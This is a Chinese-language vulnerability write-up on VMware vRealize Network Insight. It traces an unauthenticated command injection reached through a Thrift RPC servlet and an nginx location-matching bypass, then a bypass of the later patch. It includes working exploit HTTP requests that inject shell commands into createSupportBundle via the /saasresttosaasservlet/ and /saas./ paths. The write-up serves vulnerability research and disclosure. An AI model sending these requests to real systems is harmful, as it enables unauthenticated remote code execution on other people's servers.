本文分为两部分,前半部分主要是对VMSA-2022-0031的分析,后半部分是我挖的补丁绕过,官方公告是VMSA-2023-0012。
https://www.vmware.com/security/advisories/VMSA-2022-0031.html
爆了两个洞,一个未授权命令注入,一个目录穿越。
参考 https://blog.csdn.net/x_idea/article/details/124294823
需要部署platform和collector两台机器
目录穿越
com.vnera.SaasListener.ServiceThriftListener.ServiceImpl#downloadFile
命令注入
com.vnera.common.utils.ScriptUtils#evictPublishedSupportBundles
com.vnera.common.utils.ScriptUtils#evictPublishedSupportBundles
拼接命令,向上回溯调用
com.vnera.SaasListener.ServiceThriftListener.ServiceImpl#createSupportBundle
nodeId可控,继续向上回溯
找到com.vnera.restapilayer.ManagementResource#createSupportBundles
这个函数对应的路由为/support-bundle
需要授权,在他里面确实调用了createSupportBundles函数
根据官方通告说的命令注入不需要授权,猜测自己找错方向了。
于是仔细看了看这个函数,发现了这三行代码
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| THttpClient transport = this.saaSCommunicationHelper.getSaasClientForNode((NodeInfo)nodesById.get(nodeId));RestToSaasCommunication.Client client = this.getClient(transport);Result result = client.createSupportBundle(Integer.toString(customerId), nodeId, request.getRequestId(), evictions.get(nodeId));
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通告Google发现是thrift相关的东西,thrift是rpc调用,搜了几篇文章看了看
https://juejin.cn/post/6844903622380093447
发现这玩意客户端和服务端可以分开监听,但是不知道具体怎么传输的,于是在机器上用tcpdump抓包所有网卡,找到路由/support-bundle
对应的功能点点了点
发现在点击创建支持包
这个功能点之后
有一条http请求是对resttosaasservlet
路由的调用,端口为9090,而这个路由就是thrift的rpc服务。于是尝试怎么触发这个路由。
看了下nginx配置文件
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| upstream lbrest { server 127.0.0.1:8080;}server { listen 443 ssl http2; server_tokens off; root /usr/share/nginx/www; index index.html index.htm; ...省略... location /api { rewrite ^/api/(.*)$ /$1 break; proxy_pass http://lbrest; proxy_redirect off; proxy_buffering off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Http-Scheme $scheme; } ...省略... location = /saasresttosaasservlet { allow 127.0.0.1; deny all; rewrite ^/saas(.*)$ /$1 break; proxy_pass http://127.0.0.1:9090; proxy_redirect off; proxy_buffering off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } location = /saasfedpeertosaasservlet { rewrite ^/saas(.*)$ /$1 break; proxy_pass http://127.0.0.1:9090; proxy_redirect off; proxy_buffering off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } location = /saassaastofedpeerservlet { rewrite ^/saas(.*)$ /$1 break; proxy_pass http://127.0.0.1:9090; proxy_redirect off; proxy_buffering off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } location /saas { rewrite ^/saas(.*)$ /$1 break; proxy_pass http://127.0.0.1:9090; proxy_redirect off; proxy_buffering off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }}
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发现443转发到8080端口,/saasxxx
相关的转发到9090端口,并重写url为/xxx
,其中/saasresttosaasservlet
路由重写为resttosaasservlet
,对上了wireshark的抓包信息。
nginx配置了这个路由只允许127.0.0.1访问,但是可以绕过,因为用的是location = /saasresttosaasservlet
,表示当url等于/saasresttosaasservlet
时才会匹配上这个规则,我们可以用/saasresttosaasservlet/
绕过
如图
然后发现补丁中确实对这个进行了处理
说明我们找对了地方。
接下来就是构造thrift的协议请求包了,这个地方不说了,一边调试一边构造就可以了。最后构造出来exp如图
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| POST /saasresttosaasservlet/ HTTP/2Host: 192.168.1.155Content-Type: application/x-thriftAccept: application/x-thriftUser-Agent: Java/THttpClient/HCContent-Length: 93Accept-Encoding: gzip,deflate[1,"createSupportBundle",1,1,{"1":{"str":"10000"},"2":{"str":"*.tar.gz;touch /tmp/aaa;ls "}}]
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thrift协议规范限制body中不能有空格或者换行符等,构造时注意。
合影留念
简单看看应该一样的,不写了。
由于nginx配置不当和拼接命令导致的rce,用了thrift做rpc。
Aria Operations for Networks Command Injection Vulnerability (CVE-2023-20887) 是对nginx规则的绕过
上面的漏洞补丁放宽正则禁止了/saasresttosaasservlet路由,但是下面还有一个location块
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| location /saas { rewrite ^/saas(.*)$ /$1 break; proxy_pass http://127.0.0.1:9090; proxy_redirect off; proxy_buffering off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;}
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所以可以绕过
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| POST /saas./resttosaasservlet HTTP/2Host: 192.168.1.155User-Agent: Java/THttpClient/HCAccept: application/x-thriftAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 43[1,"getSystemInfo",1,1,{"1":{"i32":10000}}]
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rce同样用createSupportBundle函数,这个命令注入没修。
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| POST /saas./resttosaasservlet HTTP/2Host: 192.168.1.155User-Agent: Java/THttpClient/HCAccept: application/x-thriftAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 118[1,"createSupportBundle",1,1,{"1":{"str":"10000"},"2":{"str":"*.tar.gz;touch /tmp/asdasd;ls "},"4":{"lst":["str",0]}}]
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